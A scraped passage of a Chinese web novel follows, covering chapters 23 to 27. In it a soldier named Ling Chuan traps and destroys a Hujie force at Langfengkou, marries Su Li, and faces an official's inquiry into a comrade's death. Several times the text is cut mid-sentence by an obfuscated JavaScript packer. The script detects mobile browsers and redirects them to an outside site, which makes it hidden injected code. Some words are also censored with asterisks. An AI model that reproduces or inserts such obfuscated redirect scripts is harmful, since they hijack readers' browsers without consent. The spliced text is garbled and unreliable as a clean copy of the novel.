可就在此时,他也感知到了一道冰冷的气息,那种感觉,与猎物被天上的猎鹰盯上如出一辙。 “噗……” 铁勒出于本能地朝着一旁闪开,可惜还是慢了半 拍,一支铁箭从上方斜射而来,直接穿透了他的后脑,带着三根倒刺的箭镞从他的咽喉穿出,死死钉在地上。 鲜血自铁勒的咽喉喷射而出,他缓缓转过身,看向上方的城墙,借助火光,他隐约看到一张年轻的面孔,手持一把造型怪异的木弓,俯视着他。 他终于找到射杀穆尔扎将军的那名神射手了,只可惜,自己却无力为穆尔扎将军报仇。 铁勒的身体不甘地倒在地上,脖子和后颈的血洞还在汩汩淌血。 步道之上,胡羯士兵也已经冲到了第三道拐,城墙已经近在眼前。 而就在此时,上方忽然丢下大量火把,只听轰的一声,两条步道瞬间被点燃。 开战之前,陈暻垚听取了凌川的建议,先将胡羯人引入瓮城,然后关门打狗,他原本是想毁掉两条步道,凌川却建议他留着步道。 故意给对方留一线生机的假象,他们定然会不遗余力地冲击步道,而他们则可以在这个过程中,不断消耗对方的兵力,而不至于让敌方看不到任何希望,只能尽全力去搬开堵在城门的那些巨石和滚木。 同样,为了保险起见,在步道上泼洒了许多火油,等时机成熟,直接将其点燃。 熊熊火焰直接将步道之上的胡羯士兵吞没,凄厉的惨叫声如恶鬼嘶吼。 许多人直接从步道上滚落下去,瓮城之中的尸体越来越多,巴查尔的亲兵用士兵和战马的尸体在角落筑起一圈肉墙,以此来抵挡上方射下来的箭雨。 巴查尔面如死灰,他知道彻底完了。 不仅未能替哥哥报仇,自己也将葬身于此。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947938|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一直以来,周军在他眼里,都是不堪一击的两脚羊,他曾以五百轻骑击溃五千周军,这也让他忽略了草原上流传的另外一句话,那就是周人狡诈。 这一次,他终于领略到了,只可惜为时已晚。 就在这时,凌川却下令减缓攻击,至少要确保巴查尔活着。 “这是为何?”丁标标长伍兴邦不解地问道,就连陈暻垚也是面带疑惑。 “只要巴查尔还活着,城外的几百胡羯士兵便会不遗余力地疏通城门,想要将其救出去,而咱们只需站在城墙上,便可以将其射杀,反之,他们一旦得知主将**,便会撤离,咱们想要杀他们,就没那么容易了!” 听到凌川这番话,二人恍然大悟,连连称妙。 “凌兄弟,你可真是个天才,如此妙计,我怎么就想不出来呢!”伍兴邦满脸崇拜地说道。 凌川笑了笑,这不过是前世的围点打援战术,虽然简单,但却极其有效。 “城内的进攻要做到雷声大雨点小,主要集中兵力,射杀胡羯人城外的兵力!”凌川补充道。 城外,一批又一批的士兵顶着盾牌冲到城门跟前,想要将堵住城门的巨石和滚木搬开,然而,即便是有盾牌保护,很多人还没靠近城门,便被射杀了。 这些年来,狼烽口发生的战斗很多,但像这般惨烈的却是极其少见。 战斗持续了一个时辰,周军守在城墙之上以逸待劳,伤亡几乎为零。 反观胡羯一方,城内五百骑兵已经被射杀殆尽,只剩下巴查尔的亲兵与几十名伤员躲在角落苟延残喘,而且,这还是周军故意放水的结果。 城外,数百胡羯步卒同样死伤惨重,已经有近半人在倒在了冲往城墙的途中。 此时,两名百夫长已经意识到不对劲了,照这样下去,先不谈能否救出巴查尔将军,他们这五百兵卒估计都要全部打光。 “不对劲,咱们还是撤吧!”其中一名百夫长面色凝重地说道。 “救不出巴查尔将军,咱们所有人都得死!”另一人满脸杀意,死死等着他说道。 第23章 大获全胜! “咻!” 就在这时,一道破空声传来。 那名百夫长还没反应过来,只感觉胸口一痛。 “噗……” 一抹血箭喷射而出,他的身体也直接从马背上栽倒下来,倒在地上狠狠抽搐了几下,便彻底没了生机。 “好箭法!” 城墙之上,伍兴邦激动得一拳砸在城墙的砖头上,尽管风雪太密他看不清这一箭的轨迹,但却清楚看到那名百夫长从马背上栽倒下来。 一旁的陈暻垚眼神之中也写满了震惊,要知道,现在双方的距离足有三百步,而且,如此密集的风雪,会让准度大打折扣。 凌川却依然能一箭将目标射杀,如此惊人的箭术,就算是整个北系军,也绝对是极其罕见的存在。 剩下那名百夫长神色巨变,他脑海中不由自主想起了几日前的那个夜晚,穆尔扎将军被射杀的场景。 恐惧之感瞬间袭遍全身,他来不及多想,连忙掉转缰绳,朝后撤去。 那些还在舍命冲锋的步卒见两名百夫长一死一逃,也彻底失去了斗志,纷纷转身逃走。 可就在此时,远处传来阵阵喊杀声,透过风雪,只见一支骑兵从正面杀来,彻底挡住了他们的退路。 “杀……” 这支骑兵虽然只有不足百人,可对于他们这支残兵而言,却是不可战胜的。 看着那风雪中迎面杀来的数十骑,所有人的脸上都写满了绝望,刚才逃得太狼狈,以至于很多人连兵器都丢了。 “杀光这群胡贼!” 领头之人不是别人,正是乙标标长熊广,只见他手持**,一马当先杀向那名百夫长。 后者早已被凌川那一箭吓破了胆,面对杀气腾腾的熊广,他在气势上自然弱了一大截。 “当……” 一道金铁交鸣之声传来,**与弯刀碰撞出一串刺目的火花。 两人的身形一触即分,那名百夫长无心念战,正欲策马逃走,结果,两名周军却挡住了他的去路。 “死!” 那名百夫长怒喝一声,猛然一刀劈出。 那名周军士卒抡刀格挡,却被巨大的力道震得从马背上掉落下来。 与此同时,熊广也杀了上来,只见他一枪横扫,重重砸在那名百夫长的肋下,哪怕隔着铠甲,也能听到骨头断裂的声音。 紧接着,熊广又是一**出,枪锋直接穿透其铠甲上的护心镜,将其扎了个透心凉。 与此同时,剩余那些胡羯士兵,也 被收割得差不多了。 这支骑兵同样是事先被安排在城外的,等的就是这一刻,彻底切断胡羯人的退路,将其全部干掉。 最终,这支骑兵以极小的代价,将百余名胡羯残兵全部斩杀,当他们带着一颗颗人头出现在狼烽口城外的时候,城墙上的陈暻垚总算是长舒了一口气。 同时,内心对于凌川的敬佩也攀升到了前所未有的高度。 对,就是敬佩,而非欣赏! 要知道,这场战斗的整体布局都是出自凌川之手,一开始的时候,他内心也多少有些怀疑,万一战局并未按照他计划的方向发展怎么办? 事实证明,一切都按照他的计划推进,可以说是分毫不差。 若非对凌川出于绝对的信任,他甚至都怀疑,这是他与胡羯人商量好之后,演的一出戏。 先是将计就计,将巴查尔引入瓮城,然后来个关门打狗,同时,将敌人一分为二,各个击破。 最终,连同主将巴查尔在内,一千敌军被**殆尽。 更让他难以置信的是,这一战下来,己方阵亡不足十人,二十余人受伤,相比起以往五换一的战损,这简直是想都不敢想的结果。 估计,这战报要是传到漠北大营,他们都严重怀疑自己虚报战功。 毕竟,就连他自己都难以置信。 战斗彻底结束的时候,天已经放亮,随着一具具尸体被搬走,地上只剩下斑斑血迹,宛如锦缎之上的点缀。 凌川虽见惯生死,可前世所执行的都是一些秘密任务,从未见过这种动辄死伤上千人的战斗,内心不免有些动容。 很快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947939|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,战场便被打扫干净,所有尸体都被搬走,瓮城内那些巨石滚木也都被清理干净,只有斑驳的血迹在无声诉说着昨晚那一战的惨烈。 今日是大年初一,预示着新年的到来。 一大早,城中百姓得知胜利的消息后,纷纷前来庆贺。 很快,城墙上便支起几口大锅,揉面的揉面,擀皮的擀皮,苏璃与其他发配到狼烽口的女子也都参与其中,忙得不亦乐乎。 只片刻光景,热腾腾的饺子便出锅了。 鏖战了一夜的士兵们,紧绷的神经终于放松了下来,胜利的喜悦和新年的欢快,全部融合到这一碗热腾腾的饺子里面。 这一战,狼烽口大获全胜,是近十年来,最为耀眼的一战,几乎是兵不血刃将一千敌军全部吃下。 陈暻垚已经派人去往漠北节度府传讯,为所有人申报战功,同时,也将曹正通敌的事情如实上报。 于情而言,曹正作为多年的同袍,陈暻垚本想给他留个体面,就当是战死,可这件事情,整个狼烽口几乎是人尽皆知,根本隐瞒不了,只能如实上报。 这一战,凌川是当之无愧的首功,无论是识破曹正的通敌计划,还是后面一系列的战略布局,都出自凌川之手,只不过,节度府会给多少封赏,就不好说了。 如今,甲标标长与什长之位全部空缺,陈暻垚便派自己的几名亲兵前去带领甲标。 “这一次,胡羯人在狼烽口吃了这么大的亏,定然不会善罢甘休,再加上他们对狼烽口早就是虎视眈眈,相信,下一次大战不会太久!”陈暻垚看着几名标长,开口说道。 “来多少,咱们杀多少,就怕**不来!”熊广满身豪气说道。 凌川却是摇了摇头,说道:“经历此战之后,胡羯若是再出兵,定然做好充足的准备,咱们这一营兵力,未必能挡住他们!” 听到凌川这么说,几人的脸上都露出凝重之色,毕竟,这几日,凌川无论是个人实力还是用兵布局,乃至智慧谋略,都比他们高出太多。 哪怕是陈暻垚,也不得不承认,凌川各方面能力都在自己之上。 第24章 相公,小璃爱你! 刚从校尉营出来,便看到军医宋老头,只见他满脸激动地抓住凌川的手,生怕他跑掉一样。 “二狗子,你那金创药还有吗? 昨晚,为了给受伤的士兵治伤,凌川给了宋老头一些药粉,并称这是自己秘制的金创药,效果极佳。 一开始,宋老头还不信,可用了之后却震惊地发现,这药粉撒上去不仅能快速止血,甚至一些皮外伤,在几个时辰内便开始结痂。 饶是他世代行医,也不曾见过如此神奇的金创药。 就在这时,一旁的朱骞也拆开了他手上的纱布,发现,昨日被曹正用**划伤的伤口,已经部分结痂了,这让他大为震惊。 正常来说,这伤口没有十天半月根本愈合不了,可这才一个晚上就开始结痂,简直是神药啊。 凌川笑道:“这是我祖传的秘药,药方不能外传,不过我可以多制作一些给你! “好,好!宋老头激动无比,连连点头,他本就没希望凌川能把药方给自己,毕竟他很清楚这药方的价值,凌川答应多制作一些,对于他来说,已经是天大的好事了。 “你帮我准备一些药材,回头送到我家里,我先回去睡一觉!凌川一口气说了十几种药材,宋老头行医多年,轻易就能记下。 不过为了保险起见,凌川故意多说了几味似是而非的药。 事实上,就算将药方给他,他也制作不了,因为,这云南白药的核心在于药物配比和制作工艺。 回到家中,苏璃已经帮他准备好了一大桶热水。 “凌郎,我来帮你!苏璃主动上来帮凌川卸甲,随后又为其宽衣。 “我自己来就行了!凌川显得十分拘谨,尽管两人现在是名正言顺的夫妻,可毕竟没有突破那一步。 “相公可是嫌弃奴家?苏璃的声音自身后传来,带着几分幽怨。 “娘子误会了,我…… 最终,凌川只能答应下来,不过,在苏璃为他宽衣的时候,身体却在微微颤抖。 “想不到,相公还会害羞呢! 这一说,凌川更加手足无措,他只能强作镇定。 事实上,苏璃一张俏脸也早已通红。 凌川进入木桶之中,微烫的水温让他舒服得快要叫出来,苏璃则是细心地帮助凌川搓背洗头。 “昨晚的战斗,我都听说了,想不到相公不仅身手敏捷,谋略更是如此出众,连陈大哥都对你赞不绝口呢!苏璃一边给他搓背,一边说道。 “回头, 等赏银下来,咱们风风光光办一场婚宴,宴请狼烽口所有人。” 听到这话,苏璃只感觉内心一暖。 原本她对于自己的人生已经不抱任何希望,不曾想,此生竟能遇到良人,凌川就像是一束光,照亮了她昏暗的人生。 忽然,凌川感觉到温热的水珠滴在自己的后背上,转身一看,苏璃早已是满脸泪痕。 “好端端的,你哭什么呀!”凌川温柔地为她擦去脸上的泪水。 “相公,你对小璃太好了!”苏璃哽咽道。 “小傻瓜,你是我娘子,我不对你好对谁好?”凌川满脸温柔,情不自禁朝苏璃吻了上去。 刹那间,宛如天雷勾地火,一发不可收拾。 “相公,要了我吧!”苏璃眼神迷离,双臂搂着凌川的脖子。 …… 一直到深夜,知道二人筋疲力尽才沉沉睡去。 凌川前晚激战一夜,昨晚又这么一折腾,哪怕是铁打的身体也扛不住,这一觉一直睡到下午。 迷迷糊糊中,凌川听到苏璃在与人说话,开口问道:“娘子,家里有客人?” 苏璃闻言,走了进来:“相公,宋大夫送了几大箩筐药材过来,让我交给你,你再睡会吧!” 凌川拉过苏璃的手将其搂进怀里,问道:“你也累,怎么不多休息会?” “我不累,相公一天没吃东西,我熬了些粥,一会我给你端过来!”真正成为凌川的女人之后,苏璃更加温柔贤惠。 “我又不是病人,哪里需要你这么伺候?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947940|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >吃过晚饭之后,凌川便开始制作云南白药,苏璃就在一旁给他打下手。 夜晚,两人又在床上缠绵到深夜,苏璃躺在他怀里,满脸幸福。 “相公,小璃爱你!” “我也爱娘子!”凌川轻轻刮了刮她的小鼻琼,说道:“快睡吧!” 次日,凌川依旧早早起床锻炼,回到家中,苏璃已经起床做好了早饭。 “娘子怎么起这么早,你累了多休息会啊!”凌川温柔说道。 苏璃娇嗔道:“都怪你,也不知道怜惜人家,人家那里现在还疼呢!” 凌川心里涌出一丝内疚,说道:“都怪我,娘子快些歇着,我来吧!” 苏璃噗嗤一笑,“我逗你玩呢,我可不是娇滴滴的富家小姐!” 上午,凌川准备去铁匠铺让杨铁匠再帮自己打一些铁箭,但走到市集才想起今天是大年初二,铁匠铺都没开门。 凌川转了一圈,想到上次答应杨铁匠,送他一坛好酒,便去酒坊买了些米酒回家。 路上,遇到了余生,只见他埋着头,一脸沉重。 “余生,你干嘛呢?” “标长,我,我去祭拜爹娘去了!”余生这才抬起头看到站在自己面前的凌川。 之前了解到,余生本是这一带的人,父母死于战乱,如今跟自己一样,都是孤儿。 凌川拍了拍他的肩膀,叹息道:“别太伤心,至少你还能祭拜,我爹娘连坟都没有!” 凌川说的是事实,当年,胡羯人从其他地方破关,大肆**,凌川的父母带着他逃跑,然而双腿怎么跑得过战马,凌川的父亲为了保护他们娘俩,直接被一刀砍倒在地,紧接着,被战马踩死。 自知脱险无望,凌川的母亲将他藏在一堆草垛之中,她自己却独自引开胡羯骑兵。 凌川藏在草垛之中,那两名胡羯人朝着母亲追去,一直到第二天,才被巡边的周军寻到,带回了狼烽口。 尽管自己是穿越而来,但对于前身的这段记忆,每次想起依旧是心如刀绞,杀意止不住外溢。 第25章 节度府来人! “对了,我跟校尉打过招呼了,把你调到戊标来,以后你就跟着我吧! 听到这话,余生脸上露出激动之色,“真的吗? “当然!我骗你干啥。 尽管现如今,执掌甲标的是陈暻垚的亲兵耿良,但,甲标欺负过他的可不止曹正父子,继续呆在那里,多少有些心理阴影,这种感觉,凌川深有感受。 回到家中,凌川又去砍了些竹子回来,制作了一个简单的蒸馏器。 他需要将米酒进行蒸馏提纯,虽然无法制作出前世那种高端白酒,但与现在的米酒和黄酒相比,简直高出不知道多少个品级。 制作过程也并不复杂,事实上,凌川自己也懂得酿酒工艺,只是现在的条件不满足,只能以米酒为原材料。 “相公,你这又是在做什么?苏璃满脸好奇,她发现,凌川总能高出一些稀奇古怪的东西,自己从未见过。 “我在酿酒! “酿酒?这不就是米酒吗?苏璃十分不解。 “我要酿的酒,比这好多了,不仅质地清澈,而且,奇香无比,那十里香在它面前连弟弟都算不上! 苏璃有些不信,“这世上真有如此好酒?那岂不是传说中的仙酿吗? “跟传说中的仙酿差不多吧!凌川点头说道。 蒸馏是一个缓慢的过程,而且产量不高,五坛米酒最多也就能产出一坛白酒。 而且,这一坛白酒的品质依旧有些浑浊,这源于米酒的酿造工艺过于落后,若是有时间,凌川都准备自己做一个酿酒坊,这样不仅品质高,而且,产量也会大大提升。 就在这时,余生风风火火地跑了过来。 “标长!嫂子! “什么事,慢慢说!凌川示意他不用着急。 “漠北节度府来人了!余生咽了口唾沫,继续说道:“据说来人是刘武的姐夫,校尉大人让我来叫你过去! 听闻此言,凌川剑眉微蹙,一旁的苏璃也隐约感觉到有些不安。 尽管她从未问过凌川,刘武与周豪等人是**的,但直觉告诉她这其中有蹊跷,当然,凌川不说她也不会问。 凌川点了点头说道:“我知道了,你告诉校尉大人,我马上就到! 余生快速离开了,凌川则是简单收拾了一下,便出门朝着校尉营而去。 陈暻垚之所以让余生来通知自己,并且专门提到来人是刘武的姐夫,显然,陈暻垚是想提醒自己,对方此行是要追查刘武的死因,让自己做好 心理准备。 此前凌川便知道刘武有个姐夫在北疆大营做参军那可是跟随北疆主帅左右的红人职位或许并不高但很多时候一句话比你十次战功都有效。 但凡刘武争气一点也不可能在这种地方当一个小小的伍长。 当然刘武那个姐姐也并非正妻 凌川整理了一下情绪来到校尉营之外。 “戊标标长凌川前来听命!” “进来吧!”营中传来陈暻垚的声音。 凌川迈步而入只见原本属于陈暻垚的主位之上坐着一名四十出头的中年男子头戴儒巾面相寡瘦眼底不时闪过阴鸷之色。 “凌川我给你引荐一下这位是节度府的章大人此次前来稽查战功!”陈暻垚介绍道。 凌川走到章大人跟前抱拳行了一礼:“属下凌川见过章大人!” 然而本名为章绩的章大人依然是自顾自把玩着青瓷茶瓯似乎根本没听到。 身后的两名亲卫同样是一副趾高气扬的姿态神色之中带着几分不善扫了凌川一眼。 一时间现场的气氛变得极为尴尬就连陈暻垚也露出为难之色。 终于章绩缓缓放下茶杯抬起那双三角眼打量着凌川问道:“你就是凌川?” “属下正是!” “听说你一箭射杀了穆尔扎?” “是!” “听陈校尉说除夕夜狼烽口一战的整体布局也是出自你手?” “是!” “果然是英雄出少年啊!”章绩嘴角勾起一抹笑意点头说道:“短短数日时间便从一个边军小卒直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947941|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爬上了标长的位置这就算放眼整个北疆也不多见!” “谢大人夸赞诛胡虏以报圣恩乃我边军本分!”凌川站得笔直声音铿锵有力。 谁知就在此时章绩脸上的笑容霎时收敛一抹阴狠之色跃然脸上。 “可惜你不该杀刘武!他再草包也毕竟是我的小舅子你杀了他我得拿你抵命!” 此言一出现场的气氛瞬间凝滞冰点陈暻垚内心也猛然一紧得知来人是章绩的时候他便有了猜测为防不测还特意让人通知凌川。 章绩到场之后既没有过问除夕夜那一战的情况也没有询问胡羯人的动向而是指名道姓要见凌川这让陈暻垚更加不安。 此时章绩以如此笃定的语气一口咬定是 凌川杀了刘武,让他都不得不怀疑,是不是事情败露了。 面对质问,凌川却是丝毫不慌,直接抬起头直视章绩投来的目光。 “章大人何出此言?**长是死于胡羯斥候之手,怎么能说是我杀了他?” “哼,那你告诉我,为何其他人都**,唯独你活了下来?”章绩冷声追问。 “因为属下身手好!”凌川没有丝毫犹豫,更没有说什么自己运气好之类的话。 章绩先是一愣,随即冷笑道:“看来,你是不见棺材不落泪了,把人带上来!” 随着他一声大喊,一名亲卫带着一名兵卒走了进来,那兵卒不是别人,正是**。 当日,**被凌川所伤,没能参与巡边,这也让他侥幸逃过一劫。 然而,在当晚得知他们那一伍出去巡边的四人,除了凌川之外,全部都**,他内心一下子慌了起来。 那一晚,他彻夜未眠,最后得出一个结论,他们巡边遇到胡羯斥候是真的,但,刘武的死,凌川绝对脱不了干系。 因为,他了解整件事情的前因后果,刘武因为贪图凌川领来的媳妇,想要据为己有,彼此已经发生过冲突。 刘武更是对他们几人提及,要趁着这次巡边,做掉凌川,可结果,死掉的却是刘武等人。 第26章 追查刘武之死! 在以往的认知中凌二狗怂货一个就算骑在他头上撒尿他也不敢吭一声。 然而就那天开始凌川仿佛变了个人一样不仅言谈举止乃至气质都与之前截然不同更让他们难以置信的是凌川的战斗力变得极其恐怖他们几人联手都不是其对手。 他严重怀疑凌川是不是像话本小说里面的主人公得到了盖世秘籍一夜之间蜕变成了绝世高手。 所以他推测他们当时肯定是遇到了胡羯斥候一番激战之后他们干掉了胡羯斥候凌川却趁机偷袭将刘武等人也一并干掉然后将他们的死因归结于胡羯斥候。 毕竟凌川之前所表现出来的恐怖身手绝对有反杀刘武等人的实力。 可**怎么也不会想到凌川是先杀了刘武三人然后才遇到了胡羯斥候并以一己之力干掉了三名胡羯斥候。 此时**被带进来凌川与陈暻垚都心感不妙不过凌川依旧是面不改色。 他很清楚**就算有所猜测也拿不出实质性的证据。 陈暻垚也只能强作镇定这种局面下 “**你是刘武的兵现在你如实交代刘武是**的?”章绩冷声问道。 **眼神之中满是畏惧看了看凌川又看了看陈暻垚。 “你不必担心本参军在此只要你所言属实定会为你做主而且还会给你记检举之功!”章绩再次开口言下之意便是在告诉**他在这里不用害怕陈暻垚。 **这才吞吞吐吐地说道:“回禀大人当日属下被凌川所伤未能前去巡边后来听说**长等人全部死在巡边途中只有凌川活了下来……” **把事情始末加上自己的猜测说了一遍显然章绩此前已经派人跟他接触过。 “凌川你还有什么话说?”章绩再次看向凌川问道。 “章大人刚才**所说大多是他的臆测并无实质性证据当日遭遇胡羯斥候的情况属下已据实禀报如果章大人非要将**长的死归结在我身上属下无话可说!”凌川依旧是神色镇定眼神中看不到半点慌乱。 陈暻垚见时机差不多了也上前抱拳说道:“章大人此事我当日已经派人核实过大致与凌川所说一致而且刘武、周豪以及王恩三人的伤口我也亲自看过确实是死于胡羯人的弯刀与铁箭!” 章绩的目光变得更为凌厉死死盯着陈暻垚说道:“陈暻 垚,你可知道包庇残害同袍的凶手,哪怕你身为校尉,也是要杀头的!” “我自然知道,但我所言句句属实!”陈暻垚字字铿锵。 “好,很好!”章绩一脸冷笑,他知道,今日想要处置凌川是不可能了。 哪怕他知道,刘武十有**就是死于凌川之手,但他却拿不出证据,若是强行抓人,陈暻垚肯定不会袖手旁观。 按品级,自己高他不少,但这里是人家的地盘,自己根本压不住他。 紧接着,章绩再次将目光看向**,问道:“你说,此前凌川伤了你?” “是的大人!”**连忙撩起裤子,露出小腿上还未完全愈合的伤口。 “大胆凌川,竟然对同袍兄弟下此死手,你可知罪?” 陈暻垚本想说清事情原委,可凌川却抢先回答道:“属下知罪!” 章绩眼神中闪过一抹错愕,他本以为凌川会为自己辩解,如此一来自己便可借题发挥处置他。 没想到,凌川竟然直接认罪了,这让他原本的计划直接落空。 章绩顿了顿,说道:“念在你杀敌有功的份上,罚你十军仗,同时补偿**十两银子的汤药费,另外,战功奖赏减半!” “属下领命!”凌川抱拳说道。 章绩也没再停留,直接起身离开,路过凌川身边的时候,他驻足小声说道:“小子,今日让你躲过一劫,但不要以为就这么完了,你最好祈祷不要让我查出什么!” 说完,章绩便带着自己的几名亲卫离开了,陈暻垚则是跟着送了出去。 章绩一走,**顿时慌了,毕竟,这次没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947942|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能惩办凌川,如今没了靠山,凌川若想报复自己,那自己定会死得很惨。 凌川来到**面前,笑了笑,说道:“你不用紧张,我凌川不是那么小气的人,回头我会让人把银子给你送过来,你可以走了!” “是,属下告退!”**如蒙大赦,顾不得腿上的伤痛,逃一般离开了校尉营。 很快,陈暻垚返回,看着凌川他长舒了一口气,说道:“刚才实在是太险了,我生怕你沉不住气!” 凌川笑道:“我还好,反倒是校尉大人,比我还紧张!” “你这不是废话吗,要是事情败露,我也得跟着遭殃!”陈暻垚瞪了他一眼,又问道:“你刚才想都没想直接认罪,是因为小璃吧?” 凌川点了点头。 他在这个世界上举目无亲,唯一能让自己担心和牵挂的,只有苏璃。 而且,章绩明显是在针对自己,就算证明自己伤**是事出有因,他也会想其他借口克扣自己的战功,但,因此将苏璃牵扯出来,就得不偿失了。 毕竟,苏璃的身份太敏感,凌川不想节外生枝。 陈暻垚笑着拍了拍他的肩膀,说道:“你小子,有情有义,我没看错你!” 当日下午,节度府的封赏就到了。 为了避免上级私吞士卒的赏银,大周有专门的军功司,由他们亲自下发到每一位士卒手中。 当然,这样也只能是尽可能避免,而无法彻底规避,毕竟,此前像刘武这种侵占军功的情况,绝非个例。 同样,谁敢保证领到赏银的士卒不会被其他人抢走? 这一次,狼烽口大捷,战功人人有份,最少的也有十两,至于战死的士卒,其赏银则是会送到其家属手中,若没有家属的,则是送至家乡亲戚手中。 大周作为雄踞三百年的强大帝国,治军方面自然有着完善的制度,尽管如今日薄西山,不复曾经的辉煌,但这些制度依旧还在,只不过,执行力有多大,就不得而知了。 第27章 犒赏全军! 凌川前后多次立功,本次一并封赏,共计赏银两千两,任标长之职。 事实上,谁都知道,这是章绩从中作梗,不仅千户没了,赏银也只有两千两,至于标长,那不过是个顺水人情。 这哪里是减去一半,都扣得只剩下零头了。 要知道,仅凌川射杀穆尔扎的斩将之功,便足以领千户,赏银三千两,封校尉。 更何况,除夕夜一战同样位居首功,还射杀了一名敌军副将,这些战功加在一起,就算是领三千户、封都尉也绰绰有余了。 凌川没有计较,而是拿到赏银的第一时间,便带着苏璃来到市集,直奔绸缎庄。 “掌柜的,把最好的料子拿上来!” 掌柜见是凌川,顿时笑着迎了上来:“哟,凌标长,您这是带夫人来做新衣?” “把好料子都拿出来,让我娘子挑选!”凌川十分豪气地说道。 俗话说,兜里有钱,说话的时候腰板都挺得更直一些,凌川算是真正感受到了。 “有有有……年前才刚从陵州进了几匹上好锦缎,我这就拿出来给二位挑选!”很快,掌柜就抱着几卷上好锦缎出来。 凌川并不知道这锦缎好在哪里,但,这相比起普通人家麻布、棉布,无论是色泽还是织造密度乃至上手的触感,都有着天壤之别。 苏璃自然是识货的,也知道,这锦缎价值不菲,一般人根本穿不起。 “相公,要不咱们还是到别家看看吧!”苏璃虽然喜欢,但也不是物质的女人,更何况,如今她与凌川成了家,得为以后的日子精打细算。 掌柜见苏璃要走,连忙说道:“夫人,这街上除了本店,再也找不到这么好的锦缎,而且不瞒您说,这几匹料子已经压手里几个月了,一直卖不出去,我都准备退回去了!” 随后,他压低声音说道:“如果二位要的话,我可以给你们成本价!” 凌川也看出,苏璃确实喜欢,索性也不再考虑,直接说道:“行,我们全要了!” “啊,全要?” 苏璃与掌柜异口同声地问道,就连脸上震惊的表情都如出一辙。 凌川点了点头,说道:“对,娘子喜欢就行!掌柜的,你看能做几套衣服,一起算算!” 掌柜都没用算盘,直接说道:“这四匹料子我进价是三十两,每匹布给两位各做一套衣服还有余料,算上手工钱,凌标长给三十五两就行!” “行,另外几套不着急,先把红色做成喜服,三日后咱们成亲要穿!”凌川直 接给了两锭十两官银。 “哟!凌标长要成亲啊,那我一定要来套杯喜酒喝!”掌柜找了五两碎银子回来,随后又叫来老板娘,分别给二人量了尺码。 见凌川一下子花了几十两银子,苏璃有些心疼,但想到是为自己花的,心里又瞬间被幸福填满! “掌柜的,边角料麻烦您给我留着!”苏璃交代道。 掌柜笑着点头:“夫人就算不交代,我也会给您留着,两天后,我亲自把衣服送到军营!” 两人走出绸缎庄,凌川不解问道:“娘子,边角料你拿来做什么用?” 苏璃脸上闪过一丝羞涩,小声说道:“我给自己绣几件亵衣!而且,以后给娃娃做衣服,做鞋帽都用得上!” 听到这话,凌川内心无比幸福,凑到她耳边问道:“你有了?” 苏璃俏脸羞红,娇嗔道:“相公,这才一天,人家哪里知道?” 随后,二人又来到一家首饰店,给苏璃买了一对玉镯和一支金钗,虽说前世凌川也对天价彩礼嗤之以鼻,但给心爱之人花钱,却是一件很幸福的事情。 之后,苏璃提议买了些红纸回去,用于剪喜花,写喜联用。 “相公,咱们成亲,你准备请哪些人啊?人太多的话,估计小院容不下。”苏璃问道。 “咱们到时候就在军营大摆宴席,宴请所有人!”凌川拉着她的手说道。 “啊?那得花多少银子!”苏璃惊讶地说道。 对于这种大摆宴席的情况,在神都并不罕见,特别是一些达官显贵有喜事,都会这么显摆一番,以此彰显自家的地位和财力,可他们现在明显不具备这样的条件。 